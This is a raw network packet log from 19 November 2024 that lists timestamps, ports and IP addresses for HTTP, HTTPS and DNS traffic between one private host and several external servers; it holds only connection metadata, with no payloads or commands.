Nov 19, 2024 18:00:49.050126076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050134897 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050175905 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050203085 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050213099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050245047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050323009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050339937 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050350904 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050362110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050369978 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050381899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050389051 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050393105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050405979 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050419092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050420046 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050430059 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050440073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050445080 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050472975 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050473928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050484896 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050509930 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050522089 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050530910 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050540924 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050551891 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050564051 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050575972 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050576925 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050586939 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050606012 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050606966 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050618887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050626040 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050630093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050643921 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050648928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050661087 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050672054 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050673962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050685883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050708055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050708055 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050719976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050724030 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050734043 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050743103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050745964 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050769091 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050776005 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050811052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050822973 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050833941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050838947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050853968 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050857067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050868034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050879002 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050879955 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050890923 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050900936 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050901890 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050911903 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050915956 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050919056 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050930023 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050945997 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050951958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050964117 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.050975084 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.050992012 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051017046 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051064014 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051075935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051089048 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051101923 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051110029 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051114082 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051124096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051135063 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051136017 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051163912 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051192045 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051256895 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051268101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051278114 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051290035 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051301003 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051307917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051337957 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051341057 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051351070 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051352978 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051363945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051376104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051378012 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051393986 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051397085 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051403999 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051415920 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051420927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051433086 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051441908 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051443100 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051455021 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051464081 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051470995 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051476955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051489115 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.051498890 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051518917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.051542997 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.165482044 CET	443	49828	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.165963888 CET	49828	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.165981054 CET	443	49828	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.166321993 CET	443	49828	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.166668892 CET	49828	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.166722059 CET	443	49828	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.166874886 CET	49828	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.166874886 CET	49828	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.166897058 CET	443	49828	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.271984100 CET	443	49828	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.272716999 CET	443	49828	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.272742987 CET	49828	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.272766113 CET	443	49828	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.272799969 CET	49828	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.272823095 CET	49828	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.499886990 CET	443	49829	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.500216961 CET	49829	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.500230074 CET	443	49829	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.500675917 CET	443	49829	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.501044035 CET	49829	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.501148939 CET	443	49829	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.501244068 CET	49829	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.501244068 CET	49829	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.501281977 CET	443	49829	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.576541901 CET	62267	53	192.168.2.8	162.159.36.2
Nov 19, 2024 18:00:49.581412077 CET	53	62267	162.159.36.2	192.168.2.8
Nov 19, 2024 18:00:49.585125923 CET	62267	53	192.168.2.8	162.159.36.2
Nov 19, 2024 18:00:49.590666056 CET	53	62267	162.159.36.2	192.168.2.8
Nov 19, 2024 18:00:49.610236883 CET	443	49829	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.610337019 CET	443	49829	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.610413074 CET	49829	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.610986948 CET	49829	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.610986948 CET	49829	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.611007929 CET	443	49829	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:49.611061096 CET	49829	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:49.726087093 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.726121902 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:49.897702932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:49.897891045 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:50.063045979 CET	62267	53	192.168.2.8	162.159.36.2
Nov 19, 2024 18:00:50.068382025 CET	53	62267	162.159.36.2	192.168.2.8
Nov 19, 2024 18:00:50.068490028 CET	62267	53	192.168.2.8	162.159.36.2
Nov 19, 2024 18:00:50.099848986 CET	62268	443	192.168.2.8	13.85.23.206
Nov 19, 2024 18:00:50.099874020 CET	443	62268	13.85.23.206	192.168.2.8
Nov 19, 2024 18:00:50.100123882 CET	62268	443	192.168.2.8	13.85.23.206
Nov 19, 2024 18:00:50.100733995 CET	62268	443	192.168.2.8	13.85.23.206
Nov 19, 2024 18:00:50.100747108 CET	443	62268	13.85.23.206	192.168.2.8
Nov 19, 2024 18:00:50.777848005 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:50.777915955 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:50.780041933 CET	443	62268	13.85.23.206	192.168.2.8
Nov 19, 2024 18:00:50.780117035 CET	62268	443	192.168.2.8	13.85.23.206
Nov 19, 2024 18:00:50.782634020 CET	62268	443	192.168.2.8	13.85.23.206
Nov 19, 2024 18:00:50.782645941 CET	443	62268	13.85.23.206	192.168.2.8
Nov 19, 2024 18:00:50.782913923 CET	443	62268	13.85.23.206	192.168.2.8
Nov 19, 2024 18:00:50.788378000 CET	62268	443	192.168.2.8	13.85.23.206
Nov 19, 2024 18:00:50.831413031 CET	443	62268	13.85.23.206	192.168.2.8
Nov 19, 2024 18:00:50.839150906 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:50.843916893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:50.948910952 CET	443	62268	13.85.23.206	192.168.2.8
Nov 19, 2024 18:00:50.949038029 CET	443	62268	13.85.23.206	192.168.2.8
Nov 19, 2024 18:00:50.949218035 CET	62268	443	192.168.2.8	13.85.23.206
Nov 19, 2024 18:00:50.949341059 CET	62268	443	192.168.2.8	13.85.23.206
Nov 19, 2024 18:00:50.949356079 CET	443	62268	13.85.23.206	192.168.2.8
Nov 19, 2024 18:00:50.949379921 CET	62268	443	192.168.2.8	13.85.23.206
Nov 19, 2024 18:00:50.949385881 CET	443	62268	13.85.23.206	192.168.2.8
Nov 19, 2024 18:00:50.985472918 CET	62269	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:50.985507011 CET	443	62269	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:50.985594988 CET	62269	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:50.985896111 CET	62269	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:50.985922098 CET	443	62269	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:51.062515974 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:51.062536001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:51.062588930 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:51.062630892 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:51.062772036 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:51.065432072 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:51.070216894 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:51.287697077 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:51.287885904 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:51.300841093 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:51.305656910 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:51.749795914 CET	62269	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:51.782072067 CET	62270	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:51.782118082 CET	443	62270	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:51.782195091 CET	62270	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:51.782876015 CET	62270	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:51.782890081 CET	443	62270	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:52.021193981 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:52.021275997 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:52.072199106 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:52.077212095 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:52.107867956 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.107917070 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.108051062 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.108338118 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.108351946 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.295299053 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:52.295358896 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:52.299551964 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:52.304444075 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:52.304512978 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:52.304733038 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:52.309550047 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:52.577323914 CET	443	62270	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:52.577384949 CET	62270	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:52.578948021 CET	62270	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:52.578957081 CET	443	62270	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:52.579266071 CET	443	62270	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:52.580282927 CET	62270	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:52.589286089 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.591258049 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.591275930 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.592339993 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.592417955 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.593250990 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.593314886 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.593508005 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.627326965 CET	443	62270	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:52.635366917 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.639834881 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.639842987 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.686832905 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.691592932 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.691612959 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.691663980 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.691670895 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.691726923 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.691730022 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.691772938 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.693556070 CET	62271	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.693566084 CET	443	62271	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.699213982 CET	62273	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.699259996 CET	443	62273	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.699415922 CET	62273	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.699630022 CET	62273	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:52.699645042 CET	443	62273	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:52.823237896 CET	443	62270	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:52.823482990 CET	443	62270	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:52.823560953 CET	62270	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:52.823697090 CET	62270	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:52.823717117 CET	443	62270	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:52.823733091 CET	62270	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:52.823740959 CET	443	62270	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:53.023225069 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.023252010 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.023266077 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.023320913 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.023359060 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.023369074 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.023380041 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.023392916 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.023400068 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.023405075 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.023417950 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.023425102 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.023431063 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.023442984 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.023459911 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.023490906 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.028198004 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.028209925 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.028219938 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.028265953 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.028301001 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.150970936 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.150988102 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.151001930 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.151041031 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.151088953 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.151093006 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.151134968 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.151278019 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.151289940 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.151302099 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.151335001 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.151362896 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.151459932 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.151470900 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.151504993 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.151524067 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.151984930 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.151998043 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.152009964 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.152023077 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.152035952 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.152038097 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.152048111 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.152070045 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.152091980 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.152849913 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.152864933 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.152895927 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.152919054 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.153007984 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.153023005 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.153131962 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.153240919 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.153253078 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.153276920 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.153295994 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.153883934 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.154067993 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.154119968 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.157879114 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.157954931 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.186285973 CET	443	62273	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:53.193201065 CET	62273	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:53.193219900 CET	443	62273	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:53.193762064 CET	443	62273	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:53.195322990 CET	62273	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:53.195391893 CET	443	62273	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:53.195590019 CET	62273	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:53.239341974 CET	443	62273	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:53.273161888 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.273225069 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.273267984 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.273277998 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.273288965 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.273333073 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.273514986 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.273526907 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.273540020 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.273552895 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:53.273570061 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.273592949 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:53.273734093 CET	80	62272	185.215.113.16	192.168.2.8
